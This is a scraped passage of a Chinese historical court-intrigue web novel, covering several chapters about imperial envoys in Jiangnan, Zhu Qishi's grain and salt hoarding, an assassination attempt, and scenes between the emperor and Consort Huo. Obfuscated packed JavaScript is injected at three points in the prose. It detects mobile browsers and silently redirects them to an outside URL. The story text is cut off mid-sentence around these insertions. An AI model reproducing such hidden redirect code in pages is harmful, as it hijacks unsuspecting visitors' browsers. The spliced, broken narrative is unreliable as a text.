晏霁之看向门口,梁巡抚领着纪荷净进屋,纪老头气馁道:“那个,那个你想要什么,还有什么你想要一把铁伞,我可以给你,芮家我不告了,状纸还给我。” 梁巡抚递两份信笺给钦差,滕王阅过诧异了:“楼冶一天走不出三十里?” “是啊。”梁巡抚道:“天天有人闹事,或暗中埋伏袭击,或公然劫囚,吴兴这位,今早都喊出来了,陛下非要诬赖他们,他们就豁出去,拉着全城人陪葬。” “铜油已经摆上城墙。”陆老爷补充:“吴兴眼下一触即发。” 中秋以来,皇帝惩治除朱家外参与私自铸造铜币的涉事一众,彻查吴兴府的违法乱纪,只是哪怕证据确凿,逮捕的进展却很慢,这群犯事者明着对抗。 他们背后站着昌隆侯,这是昌隆侯在与皇帝抗衡。 滕王看向晏霁之,晏霁之淡淡道:“陛下亲自在责问,岂容我们多事?” “但,但是……”滕王焦虑呀。 “但是吴兴府若处理不好,两位钦差和巡抚全得担责。”陆老爷说。 “我倒不怕担责任,就是…就在我们眼皮底下,闹出这种祸乱,我们怎好袖手旁观?”滕王初领差事就想把事做好,晏霁之提议:“那你上书建议陛下派霍雄鹰来吧。” 滕王不想搭理他的幽默。 晏霁之很认真啊:“跟人对骂还有谁比霍雄鹰合适。” 滕王无奈:“你不要这么淡定行吧,好像就我干着急。” 晏霁之端起茶盅抿口茶,缓缓道:“昌隆侯是想拖着陛下进而蛊惑圣人,吴兴的形势,圣人若不出手,陛下派军围剿则朝廷不顾百姓生死,陛下若是退让,损及威信,向着昌隆侯的那些地方官还会纷纷效仿企图要挟朝廷,故,吴兴已是一触即发。” “所以啊怎么办?”滕王急迫。 晏霁之打发道:“朝堂上那么多大臣不必你操心。” 滕王一噎,小厮报有人求见钦差,递上来人信物,滕王翻看:“这是楼冶的?” “让他进来吧。”晏霁之道。 小厮退下,将人带来,来人进屋,单膝跪地,趁屋中众人不察时拔刀跃起冲向晏霁之,梁巡抚一惊,滕王一个激灵反应过来时陆老爷和纪老头已经冲外喊护卫,晏霁之波澜不惊,晏诺杀出,打斗数十来回将人制住,巡抚忙让赶来的官差将刺客压住审问。 然官差们刚给这刺客戴上铁链束住,此人便自尽了。 屋里众人聚焦晏霁之,晏霁之沉吟会儿摆摆手,官差将刺客抬走,他提笔写信,交代:“即刻送去给朱芑适,告诉他,这是我给他下的战书,有本事他就应战。” 晏一接信告退,陆老爷赞道:“大人临危不乱,气定神闲,大将之风啊。” “陆老爷过奖了,没有美人在怀而已。”晏霁之真心话,刚才,这刺客冲向他的顷刻间他真就是想到若是霍灵渠在,不必晏诺,他自己出手。 “……” 滕王想走圈:“这人会是朱芑适派来,在衙门里他就敢派杀手?” 晏霁之看陆老爷,陆老爷告辞,晏霁之颔首,表面都还客气,陆老爷走后,晏霁之道:“明天一早,我去盱眙,纪老随我同去吧。” “什么?”滕王嚷起来,梁巡抚紧随规劝,此举当真不妥。 “衙门里还好,一出府衙全是盯梢的,放只信鸽都得朱家射下来看过,太闷了,明早我带二十精锐去盱眙透透气。”晏霁之给个理由,滕王又糟心,梁巡抚仍劝:“但眼下的形势,您实在不宜远行,朱家的眼线也不是去了盱眙就能摆脱。” “我只是不想在这里开杀戒。”晏霁之说,梁巡抚一怔。 滕王感觉好像吹了凉风令他浮躁的心冷静了些:“你,你什么意思?” 晏霁之俊脸淡漠:“字面意思。” 滕王无言,梁巡抚叹息,杀伐果决,其实,当前江南风声鹤唳,朝廷若不派个镇得住的大臣稳不住局面,什么样的大臣能镇得住?大约就是敢于斩杀朱家人了吧。 纪老头默默提出:“那我们去盱眙查不查芮家?” “查,既然去盱眙,当然要查,你来办,速战速决,五天给我个结果。”晏霁之要求,纪老头磨刀霍霍爽快应下,晏霁之再转向巡抚:“朱芑适不会只想收粮,他毫不掩饰地大举收粮是想掩盖他还有在暗中收盐,拦住他,一车盐都不准他带走。” 梁巡抚一凛,滕王再个激灵:“他收盐作甚,盐又不是粮食还能缺了?” “朱芑适若想将粮食运回广南,动静太大,更会轻易被截住,这些粮食只会藏在江南,仔细留神,把粮食找出来。”语毕,晏霁之请巡抚送送纪老。 滕王郁闷的抱盘吃茱萸果。 “能不能请你抓个人?”晏霁之礼貌的商量,滕王大方的没有计较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459358|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才被无视:“咱们正事都头大了,何必还要节外生枝?那毕竟是芮尚书的老家,陛下想料理自然会料理,哪儿有你不请示就自作主张,吴兴府,你不都还在说岂容我们多事吗?” 晏霁之不语。 滕王没好气:“谁啊?” “你大外甥。”晏霁之相告,滕王冒出点诡异看着他:“我哪个大外甥?” “你大姑姑的大外孙。”晏霁之把案卷给他,滕王想挠头:“他又犯什么事了?” “你大表姐有好几万亩田地隐去了,还有记在长子名下的,去揪出来,该交多少赋税,一个铜板不能少,前些年没有交的田赋补齐,金陵府尹和你大表姐若是阻拦你抓人,不必跟他们客气。”晏霁之叮咛:“我明天一早去盱眙,芮家的事,你别管了。” 滕王还能说啥:“随便你,才懒得管你自讨苦吃。” 晏霁之的战书送到朱家别庄,朱芑适看过把信给扔了,孟怋乂拿起看,抿笑,信上说:有本事你跟我比清心寡欲,谁能坚持得久,你个出门办事还没戒掉女色的混蛋! 朱芑适刷刷几笔回信怼:有本事你让霍灵渠给你怀个胎啊?! 晏霁之回信:我是个讲究人。 朱芑适:孬种! 晏霁之:孬种! 朱芑适跟晏霁之隔两地对呛,差点想再回信过去,忍住了,他才没那么幼稚,思量道:“看来晏霁之很懂今夜这刺客只是个障眼法想令他瞎猜疑。” “这样的人是难缠,不如问问他怎么猜的?”孟怋乂直觉:“他应该会愿意说。” 朱芑适遂再派人送信过去,拿到回信,朱芑适想翻白眼,信上讲:我也给自己安排了场刺杀准备迷惑你,不过我定在两天后,那么今夜肯定是你了。 孟怋乂乐:“推己及人,有想法。” 朱芑适双眼微眯:“晏霁之不会想拦着我收粮?” “当然不会,他只会想把粮食截住。”孟怋乂肯定道。 “再给他送个障眼法?”朱芑适琢磨。 “难。”孟怋乂剖析道:“世子猜,他猜不猜得出你还有在暗中收盐,我猜他一定有数,他不会阻止你收粮,但他一定会阻止你收盐。想将粮食运回广南,他在洪州阻截,我们就是半个瓮中鳖,若走海运,我们恐怕根本出不了海。” “你想把这些粮留在这边?”朱芑适道。 “问题是藏在哪儿才不会给他人做嫁衣。”孟怋乂默认。 “放吴兴府吧。”朱芑适脱口而出,不像刚想的。 “世子以为他猜不猜得到你这个想法?”孟怋乂反问。 朱芑适立时有点冒火:“那就放在姑苏。” 孟怋乂泼凉水:“你收完粮却没有运粮的动静,他还能不起疑?” 朱芑适忍着烦躁说:“放余杭或者富阳,我随便定下的,他还能猜得到?” 孟怋乂再打击:“若是随意想,世子为何是想余杭和富阳?”又抢在朱芑适发火前说:“还有皇帝查处铸币这事,似乎不大寻常,皇帝会不会有可能是故意放任闹事?” 朱芑适冷静些:“你是说,皇帝想看看有多少人牵涉好一网打尽?” 孟怋乂点头:“是!” 朱芑适斟酌道:“本世子会留心,还是说这粮食,找个地方暂放总不至于还要留到明天才能想出来?既然你把我的提议都否了,那你说,放在哪儿?” 孟怋乂答非所问:“世子,对手若是可怕,就在于他能够预料你行事的想法。” 火烛烧着烛油,沙漏已过亥时。 167. 第167章 熬夜困啊。 滕王在回自己屋的路上想起还有人在等着,去请那位蔡姑娘回吧,没把人送走,反倒被她说服将她带去见晏霁之。 晏霁之在和朱芑适通信对呛,嫌被打扰,不待他多话把他赶走了,滕王只好在隔壁等,烛油烧得暖暖,滕王等得犯困。 酒靡儿来给钦差送宵夜,滕王被摇醒,猜晏霁之该有空了,忙再过去。 晏霁之让对方把宵夜端回,酒靡儿应过询问:“大人要出远门吗?” “不算远,距离扬州二百多里。”晏霁之随意道。 “不知大人要去几天?若非两天能回,奴家和汪撷姑娘自当随行。” “快则五六天,慢则七八天吧。” 酒靡儿颔首:“那么,奴家和汪撷姑娘明早就随大人同往了。” 晏霁之顾及:“我快马过去,你们跟不上,坐马车慢行吧。” 酒靡儿屈膝谢过大人体恤,又说:“大人是嫌奴家脏吧?” 走到门槛前的滕王闻言,在心里腹诽这位花魁还是有点自知的,晏霁之视线看向滕王,滕王带人进屋,酒靡儿没察觉:“汪撷姑娘清清白白,大人为何不碰呢?” 蔡藕菩讶异,江南多少男人垂涎酒靡儿,这俩钦差居然还没碰过她吗? 晏霁之示意她往后看,酒靡儿转身,看向滕王,坦然施礼。 滕王对晏霁之道:“这姑娘非得亲自见你。” 酒靡儿端着宵夜告辞。 蔡藕菩往前步,屈膝行礼道:“民女以为昌隆侯世子会把粮食藏在吴兴府。” 晏霁之厉光射向滕王,滕王很懂这意思,你就为这点事来打扰我? “她还有事。”滕王瞌睡醒大半。 “钦差可曾想过,你们若一意孤行很可能会变成摆设?”蔡藕菩提示道:“两位钦差能在江南停留多久,钦差与江南豪族之间谁重要不言而喻,地方官,谁会为你们去得罪他们,众意不可违,钦差非要执迷不悟岂还能不变成摆设? 你们在江南什么事都做不成,回到朝堂还会被倒打一耙,我知两位钦差家世好,但双拳难敌四手,在众志成城面前,太上皇和陛下还能相信你们吗?因此累及家眷葬送大好前程又是何必?草民想钦差踌躇满志而来,一定不愿意弄巧成拙。” 滕王有点后悔了,这姑娘是聪明就是聪明过头了。 “草民闻悉钦差今夜遭刺客后给昌隆侯世子下战书,几天前,钦差斩杀朱家七少爷。”蔡藕菩再接再厉:“钦差已与朱家成仇,而今江南的隐患是昌隆侯可能要造反,若是钦差能解决掉江南的隐患,众人感服,钦差所求在广南亦可得,岂不两全其美?” 蔡藕菩一鼓作气:“还有吴兴,草民以为抓住昌隆侯世子可解吴兴之危。” 滕王摸摸下巴:“抓朱芑适?” 晏霁之抬眸:“你怎知吴兴有危?” 蔡藕菩道:“我一直未归,我爹来府衙找过我,告诉我的。” “生意人最重要的就是消息灵通了。”蔡藕菩又补充。 “夜深了,姑娘回家去吧。”晏霁之说。 蔡藕菩施礼告辞,滕王上前扒着桌案问:“你觉得怎么样,虽然她的意图太明显了,但抓朱芑适真不是不可以?还有你干嘛把宵夜推掉,你不饿,我饿。” “酉时之后不要带外人来打扰我,不管我是不是在忙。”晏霁之告诫。 滕王心里嘀咕,怂恿说:“咱们把朱芑适抓了吧,反正你都给他下战书了,你若担心因此被昌隆侯借口扯反旗,解除吴兴之危,咱们把他放了就是。” 晏霁之一脸嫌他不长脑:“我给朱芑适的战书是:比清心寡欲。” 滕王:“……” 啊啊!滕王又想走圈,晏霁之训斥:“你去请人回,怎么就能变成你把人带我面前来,平易近人不是没有威信,你对她的看法感兴趣也不能你被她牵着走吧? 她有提议,作甚非得见我,你不是钦差吗?梁巡抚为什么不想让我去盱眙,他怕我在盱眙耽搁,这边一旦出乱子他没法做主,而你镇不住,连那么个姑娘都不相信你能镇得住,把话给你讲都不愿意,这对你能是好事?你办过这趟差事后不办差了?” “我毕竟第一次接差事。”会被低看很正常,滕王没在意,晏霁之不郁:“但你是钦差!人有话不肯对你说而必须见到我再说,这种情形你不把威严拿出来?” “知道了,知道了。”滕王有种他还得安抚他的错觉。 晏霁之靠在椅背,滕王疑惑:“那今夜这刺杀到底是不是朱芑适谋划的?” 晏霁之不以为然:“还是谈谈你得是什么想法才会想在昌隆侯造反前抓朱芑适,你嫌你太上皇伯伯让你活太久了?能抓朱芑适,人家怎么不去抓偏要我们来做?” 滕王嘟囔:“你前几天对朱窅絜还不是说杀就杀了。” 晏霁之数落:“刚才那人没有聪明过头,你是真的兴奋过头了。” 滕王默默忍住:“不过她猜朱芑适会把粮食放在吴兴府,还是可取的。” “假若没有孟怋乂劝阻。”晏霁之补出:“向着昌隆侯的地方官又不止吴兴太守,你想过你皇帝堂兄怎么会偏偏选中吴兴府,凑巧吗?陛下料不到朱芑适会要在江南大举收粮食吗,在吴兴一拦,以孟怋乂的多思还会在吴兴府方圆五百里内放粮食吗?” 滕王颤栗下有点头脑风暴。 “关键是什么?”晏霁之考问。 滕王懵懂看他,晏霁之板脸道:“当然是孟怋乂能否看出吴兴府是皇帝给他设的迷瘴,孟怋乂若是看了出来没按你堂兄的指向走,我们不全得扑空?” “哦~”滕王情绪有点低,想抓朱芑适的兴奋劲儿是彻底没了。 “还有刚才那人,没有聪明过头,纯粹想找死。”晏霁之再教。 “啊?”滕王振作些:“不至于,就是个小姑娘,天真,若是身份不够硬就可能会遇到她说那种情形,只是她不懂哪怕大家都有数,这层窗户纸都不能捅破。” “天真?”晏霁之嗤笑:“地方官和当地豪族结党营私朋比为奸没有朝廷,妄图自立,这是天真?你皇伯伯和堂兄若是计较起来还能不血流成河? 你把刚才的言论告诉陆兼试试,陆兼能等闲视之?陆兼若不表态,他都得伤筋动骨,遑论告诉朱芑适,你告诉我,你我有何不能把刚才的言论告诉朱芑适?” 滕王:“……” 好像是可以告诉朱芑适,示个好又何妨?滕王想捂脸。 “有没有谁来找过你说可以接受我们的价?”晏霁之揣摩。 “没有,哪儿有啊,连还价都没人,何况接受我们的价了。”滕王瞌睡都跑光了:“不要说陆家了,就说刚才那姑娘,还不是张口就想利用我们给他们排忧解难。”说着,滕王叹道:“其实她说的很实在,我若独自来,一定是她说的那种情形。 我和霍巨浪来怕都悬,这陆老爷今夜多傲慢,一个名不见经传的小姑娘都是上来就想利用我们,他们这狂妄劲儿谁还把钦差看眼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏霁之纠正:“我说的挡枪是字面意思,我恐怕我会在盱眙遭遇伏击。” 顾效走向树墩坐:“会有人想趁机暗杀你?陆兼,芮家人,不可能吧。” 晏霁之握握手腕的红手绳:“我猜代王府。” 顾效眼神一闪,没有探讨而是再谴责:“所以你就让我来帮你挡枪?” 晏霁之点头:“你皮糙肉厚,我这样的美男子不能有疤。” 顾效不咸不淡:“你可以再不要脸一点。” 晏霁之自怜:“我女人被抢走了,我不给自己找点乐,太苦了。” 顾效一噎,没好气道:“那你干什么去呀?” “我去趟金陵。”晏霁之给他枚铜板,顾效拿着这枚铜板反复看遍:“还以为你拿到朱家篡逆铸造的新铜板了呢?”又正经:“这铜板怎么了?” “这枚铜板没什么,但接下来若会有大批假铜板流出就不大好了。”晏霁之顾虑。 顾效讶然:“金陵府尹在给昌隆侯铸造假~币?” “还只是个猜测,我必须亲自去确定,但若是查证了,我预计不会只有金陵一处,否则朱存焳他忙不过来。”晏霁之思忖:“这假~币若有,最迟十月会投入北方。” “你放心去。”顾效想起:“朱芑适在大举收粮食,你不阻拦?” 晏霁之随意:“他还没收完呢,等朱芑适收完了再说吧。” 顾效懂了:“你想抢是吧?” 晏霁之赞同,顾效再道:“你想让我来抢是吧?” 晏霁之乐得再赞同,顾效送他三字:“滚吧你!” 某人悠哉交代:“明儿个若有两个姑娘找来,记得让她们沉睡几天,别露馅了。” 话落,晏霁之火速撤退三丈远,下刻,一根树枝扔他面前,他开怀大笑。 翌日破晓,晏霁之带四名护卫赶往金陵。 168. 第168章 京畿秋雨连天。 雨水砸落在秋收结束的旷野,人踪难现,郢国公撑着伞走进小觉庵后山的茅草亭,负手而立目视前方,气概挺拔,不多会儿,庄太妃踏上茅草亭前的泥石小路。 空空的袖管任雨打飘零,不胜凄楚,庄太妃步入凉亭,放下伞,她的脸和衣裳打湿了,布裙还溅着泥水,她没有擦拭只用独臂抱着郢国公,苦涩委屈地倚靠着郢国公。 郢国公手臂垂着,动动嘴皮:“我外甥是不是你害死的?” 庄太妃不可思议地抬头:“什么?” “我妹妹的十皇子是不是你害死的?”郢国公冷然道:“朱太妃背弃了你,你入小觉庵后,朱太妃指你残害圣人的皇嗣,温献皇后和她的四公主都是被你害死,我查得差不多了,我问你,是不是你害死我外甥又引着我们怀疑霍家?” 庄太妃似遭天方夜谭的滑稽:“你这样想我?” “我怎样想你?你一步步走来,三十多年机关算尽,为的不就是权势,庄家扶不起来,你盯上了鞠家,你要鞠家为你所用,我妹妹若有皇子,鞠家还能向着你,在暗中帮你吗?” 郢国公抬手推开她:“是我可笑,显而易见的事都能被你蒙住。” “我为权势?我为利用鞠家?”庄太妃哈哈笑,眼泪淌过,仿佛要抽走她强撑的生命:“当年我在小觉庵有孕,我明知怀着这个胎会有多危险,我都为你把孩子生下来了,我冒着我和我三个儿女还有庄家的危亡给你生下了女儿,我利用你?” “若非如此,鞠家如何能被你绑住?”郢国公反讽:“富贵险中求,不冒点风险,哪来来日的滔天富贵?何况——” 郢国公盯着庄太妃,反唇相讥:“你有冒风险吗?你不是步步为营早算好了,二十年前你入小觉庵祈福就是冲着鞠家来的吧?” 庄太妃看着他,想笑,觉得荒唐地眼泪都流不出来了。 “前朝后宫都知道庄太妃是什么样的人,你不必在我面前摆这副模样,我亦不敢相信你我一点露水情缘你能对我有真心,我外甥这笔账,你不想承认就不承认吧,我宁可错杀。”郢国公道:“霍家就快对你和晋王动手了,还有什么遗言?” 庄太妃就这么看着他,郢国公警告:“你没有话,我走了。” 过片刻,庄太妃落魄低头:“霍家什么时候动手?” “就这一两个月吧。” 郢国公在心里发笑,他对庄太妃这点还是知道的,若是被冤枉,她岂会轻易忍下,她会理直气壮地闹到不洗尽冤屈不罢休。 “显国公呢?”庄太妃好笑:“难道霍家还能留下晋王妃?” 束手无策,郢国公忽然想到这四个字,曾经的庄太妃多自鸣得意,如今唯剩困兽之斗:“显国公舍掉了女儿和外孙,就你和晋王还被薛家蒙在鼓里。” 庄太妃难以置信,按住心思说:“我想见我们的女儿一面。” 她是没有意识到她比起以往有多浅白,郢国公弯腰抄起他的伞:“我尽量吧。” 郢国公撑着伞走进雨里,庄太妃视线相随,郢国公走消失,庄太妃收起深情痴望,满脸愤恨的快要爆了,然比起阴森可怖,她又怎么比得过藏在雨中的那双眼睛。 太上皇任雨水肆虐,又看着庄太妃走掉,仍滞留好一会儿后离去。 秋雨知凉,终将凋零气息送来大地。 皇帝在关雎宫看秋雨挥洒,出神许久。 寝殿暗,几缕烛辉闪烁,谱曲生活的安然。霍灵渠看着她新编的红手绳,轻抚,摇篮床里的小婴儿咿咿啊啊,霍灵渠藏起红手绳,把小婴儿抱起来。 嬴忱璧沉淀过心情,要走时被喊住,霍灵渠说:“大哥跟我说,霁之有信给我。” 皇帝一僵,霍灵渠追击:“霁之有三封信送来,一封给你,一封给我,一封给我大哥,给我大哥的信就是让大哥告诉我,他有信给我,你把信拿出来吧。” 嬴忱璧在心里把这俩人骂个遍,赔笑道:“贵妃有所不知,晏卿送进宫的两封信,内容一字不差,是朝堂上的事,朕想晏卿忙得糊涂寄错了,这才没有给你看。” 霍灵渠淡淡:“我知道呀,你还把信查了个底朝天以防他藏着暗语,结果你什么都没有发现,但是你又不甘心,是吧?你当然发现不了,他又没藏,他只会写一模一样的两封信,你有这些闲工夫还不如多念几遍这混球很讲究呢。” 混蛋!嬴忱璧想挣扎:“贵妃——” “把信给我!”霍灵渠很凶的打断,懒得跟他废话。 嬴忱璧看着贵妃,视线一飘,看到皇儿被贵妃反向抱着,正面朝他,一大一小一同注视着他。 皇帝想按按太阳穴,忍住了,走到贵妃身边坐,四个多月大的小婴儿望望他,扭扭小身体依赖在熟悉的怀抱。 霍灵渠将小婴儿横抱,轻轻拍着,嬴忱璧道:“朕没把信带在身上,他就是交代了一些他到江南后做的事,和朕商量昌隆侯世子会把粮食藏在何处?” “把信给我。”霍灵渠再要求。 “好,朕夜里把信带来。”嬴忱璧无奈。 霍灵渠真想怼你让人把信给我送来,夜里不要过来了,郁郁道:“我要回信。” 皇帝有点诡异的看霍贵妃。 秋雨哗啦,潮湿浸过腐木,晴好天里掩盖的假象摧折。 霍海啸走进刑部,矫健的步伐一路走过都没留下多少水渍。 翟猛带两个儿子越狱,查到侯瞻让头上,侯瞻让仰天大笑过后,反指霍海啸偷他的令牌在诬陷他,僵持之际,武襄侯作证是侯瞻让在污蔑,昌隆侯夫人入京曾与他接触,是侯瞻让帮朱家劫狱,武襄侯还检举侯瞻逊贪污了八千两银子当罢官。 大长公主自是有公主府,夫妇俩感情好,升平多年来常住侯家,可武襄侯这样对他们,升平再难忍耐,搬出侯家,她和武襄侯的儿孙们都跟着母亲、祖母走了。 侯瞻让的判决是,腊月流放辽阳。 从养尊处优沦为阶下囚,进刑部监狱才两天,侯瞻让发髻脏乱神情颓丧,他独自住着间干净的囚室他都丧得像在等死的痨病鬼。霍海啸出现在牢房前,他没反应,武襄侯走出来,他才霍然爬起,猩红着眼睛死死盯着他的亲爹! 咆哮控诉谴责以及更强烈的恨,这样迫害自己的亲儿,你就良心安吗? “你晓得痛,做什么要想去害人?”武襄侯问心无愧:“那天夜里,我也知道,消息灵通的没有不知道你们兄妹还有你们的娘想要做什么,我拦得住我知道的,拦不住不知道的,我能对你们事事都了若指掌吗?我不能,所以我没有阻拦,但你?” “查到你头上时你有甚可意外,”武襄侯到底还是忍不住痛心:“难道只能你们害人,不能反被算计,你想让霍海啸死,霍海啸反击也能让你觉得荒唐可笑吗?瞻渥都不知道你们娘几个做的事吧,废掉你大哥的世子位,把爵位传给侄儿,是我的意思。 我不想,任霍家如何也胁迫不了我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459360|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这些是要你的命吗,这是要逼你去害人,害一个跟你做过二十多年兄弟的人吗?是你们的心,恶!” 武襄侯冷静下,决然道:“侯家爹这一脉保不住了,但爹还得把族人保住!” 语毕,武襄侯大步走掉。 霍海啸看着牢里的人,没有多言,他是想来看一眼,看过就够了。霍海啸转身走几步,遇见侯二姑奶奶,若说侯瞻让对霍海啸漠视,侯二姑奶奶凶光毕露,她心绪起伏着,拔下发间簪子就向霍海啸冲去,霍海啸侧身避过把人踢翻在地。 侯二姑奶奶磕到额头,想爬起来,心窝处一阵阵的疼。 霍海啸已走远。 城外,循着炊烟,英王晏墉找到在做饭的张神医,送上一个食盒和一箱黄金。 “老神医放心,这只是定金,事成后必有重谢。” “啥事?”老大夫把食盒里的下酒菜拿出来放桌上。 “想请老神医南下,保小儿性命无虞。”晏墉说。 张神医:“……”父子俩想到一起去了。 老大夫心说你这儿子就是我那倒霉徒弟,我徒弟早跟我说好了,没你事。 “老头我过了重阳再走,行吧?” 晏墉笑道:“当然,当然。” 披着雨,小觉庵的信送到晋王府,晋王没能看见而是又被悄悄转送去显国公府,黄昏,下衙的显国公看过庄太妃的亲笔信,把信扔铜盆里烧成灰烬。 晋王躲在屋里哭,连日奔波吃尽闭门羹,晋王借着黑暗放纵自己哭一哭。 郗猷在看不见出路的黑夜里也曾不由自主泪流,但眼下,他绝不再哭,一家子关一起,在人挤人的死牢里,郗猷数着数,狱卒来拨吃的,他盯着在他们牢房前舀稀粥的狱卒,狱卒微微抬头,郢国公世子的脸。人一走,郗猷忙把土碗里的黑馒头掰开。 “翟猛逃了,刑部必定严防死守绝不会再让人逃脱,这里已是铜墙铁壁,你出不去的,大哥。”至于一家人出去,郗意想都不想,哥哥若能走就让他走吧,可他走不了的,何必再枉费心机,太累了,就安静等死吧,也没几天了。 “我知道!我不走,就想找些陪葬的。”郗猷狰狞。 不消一个时辰,郗猷此言传至御前。 “贵妃看,他想拉谁做垫背?”皇帝夜里来关雎宫,恰有这事便和贵妃聊聊。 “鞠家都没准儿,能逮住一个是一个,他应该根本不在乎会是谁家。”霍灵渠猜。 嬴忱璧:“……”好像没错,皇帝跳跃道:“武襄侯能管住家眷,就是太迟了。” “我觉得不是,只要有心思,是不是平头百姓又不相干,被削官夺爵,他们就能认了?只怕怒火更甚。”霍灵渠瞅瞅皇帝找时机,嬴忱璧赞同:“对,贵妃说的对。” 突然,怀里被塞个皇儿,再一抬眸,霍贵妃已经撤去梳妆台前,皇帝:“……” 嬴忱璧赔着笑脸打商量:“贵妃,你若是觉得皇儿重了,交给宫人吧。” “你抱抱他怎么了?”霍灵渠看信。 嬴忱璧把皇儿放摇篮床里,霍灵渠眼皮都不抬的训:“你把他抱起来,他不爱独自躺在摇篮床里,放一会儿,他就要找人,你这当爹的你抱抱他怎么了?” 他活泼呀!嬴忱璧忍住争辩省得再被训,把皇儿放床帐里,给孩儿翻个身让他自己玩,贵妃过来,嬴忱璧侧过头当没事人,瞄见贵妃手中信,皇帝默默拿来。 霍灵渠的回信两个字:巢县。 169. 第169章 江南晴空朗朗,但,钦差遇袭了! 消息传来,朱芑适怀疑:“他自己安排的?” 孟怋乂否道:“不会,若是英王世子自己的安排,他不会受伤,他不屑。” 朱芑适眼睛微眯:“代王?” 孟怋乂赞成道:“应该是,没错了。” 陆兼在家蓄着暴怒,牛湃进屋,他抄起摆件砸过去:“你昏头了?” “我犯得着吗?我是脾气有些火爆又不是不长脑。”牛湃克制道:“我是想把他送走,咱们不都想他回京去嘛,我做什么想害死他,我不知道这是尊大佛,他在江南若有不测,我们全得受殃及吗?何况罪魁祸首,你也一时昏头了是吧。” “我去探晏霁之的口风,眼下他怀疑谁才是最重要的。” 晏霁之盖着薄毯靠在软塌装病,对外说辞,一点皮肉伤没有大碍。 晏诺带人抬来武器,滕王捂把脸,这是晏霁之的堂弟们给他送来防身的兵刃,装了一车送来的,还有匣治伤膏。还连原牧炽也凑热闹给他送了长枪和匕首,还有封信。 原小将军:你要是能被朱家害了,本少爷我可不认我认识过你,丢人! 晏霁之:这群憨憨! 晏诺再呈上封信,晏霁之拆信看第一行字,惊讶了:“晏明潜死了。” “啊?”滕王拿信来看看,晏霁之看向晏诺,晏诺摇头,不懂。 滕王看完把信纸给他,神情有点难以言表:“这,这晏明潜死的有点草率啊。” 晏霁之把信看遍,递给晏诺,盯着滕王,滕王打哈哈:“我是惊奇这晏明妧,怎么就能和代王府搭上呢,这晏明妧不会想进代王府做小吧?”谁能想到你居然还留着这样的大戏,假若是晏明潜活着时你把那钟姨娘怀胎的真相曝出来,真是不要太精彩了。 晏诺带着兵器箱笼退下,晏霁之问:“中小商户的反应如何?” “一半一半吧。”比他想的糟,毕竟他可觉得只是个例,滕王头疼:“你怎么想,还有,我们要追查刺杀你这件事吗?这儿肯定有代王的人,要么就把他们连根拔了。” “你在金陵没少糟心吧?”晏霁之不答反问。 “唉。”滕王戳肺管呀:“你若是没受伤,我那位大表姐肯定要冲来找你了。” 有朝廷的公文到,滕王出去一趟。 陆兼来探病,问过伤情,试探问他有没有可疑的猜测? 晏霁之神情幽幽:“代王府。” 陆兼一怔,醍醐灌顶,代王可真会挑时机啊。 霍绥业也来探病,但笑不语,晏霁之把顾效的话给他:“总觉得你没安好心。” “都在你的掌握吧?”霍绥业哼笑:“故意拿盐利相威胁,找纪老头,你本意就是要让他把芮家牵出来,你三言两语就能让他往你的套里钻,去盱眙料理芮家是引蛇出洞,你得罪这么多人还得罪得这么狠,代王再不下手更待何时啊?” 晏霁之扬扬手:“也就五成把握。” 霍绥业想喷他一脸:“你还真是霍雄鹰都要管你叫姐夫,真不想回京了?” 一样的猜疑,出自孟怋乂口中:“是你在引代王入瓮。” 晏霁之弯弯唇:“看你不像会告诉朱芑适。” 孟先生不苟言笑:“代王的伏击,你当然不需要看在眼里,皇帝和太上皇出手时还能是代王能比的吗?你这样锋芒毕露,皇家岂能容得下你?” 晏霁之调侃:“昌隆侯对我下杀手时,你手下留情呗。” 孟怋乂莫名有种奇异的感觉,冷哼道:“你想得美。” 访客暂且散了,晏霁之靠在软塌闭目养神,滕王拿着通缉令进来,原安西守将私吞军饷军械不知所踪,皇帝斥为居心叵测图谋不轨,传令各州府缉拿,如遇反抗可就地斩杀。 昌隆侯夫人劫走翟猛,皇帝责令昌隆侯交出翟猛,押其妻进京受审。 “原安西将领,这些人就是被发现后潜逃去找昌隆侯了吧,他们都私吞军饷军械了,我皇伯伯还不相信昌隆侯有反心吗?昌隆侯也不可能会押他夫人进京吧,若是僵持,还能僵持几天?”滕王紧张:“不会,不会真拖不到11月,他就要反了吧?” 晏霁之阅罢,不语。 滕王颓丧:“吴兴那儿还真是霍雄鹰来了,昨天到的,他带着一群人,昨天,就是一群人在城楼前、一群人在城门楼,两队人大打口水仗。”滕王谴责都没劲儿了:“这一触即发是不是虚张声势了?陛下和昌隆侯之间比吴兴更一触即发吧。” “准确来说,不算吧。”晏霁之抿口茶,道:“吴兴这一伙人的本意自然是拖着,朝廷若不强攻,他们自然乐得缓进,这口水仗打十天半月都可能,但陛下的意思应该不会想久拖,九月十五前吧。”晏霁之估摸:“九月二十前后,朱芑适应该也要走了。” 滕王想挠头,连我们真放任朱芑适走都问不出来了。 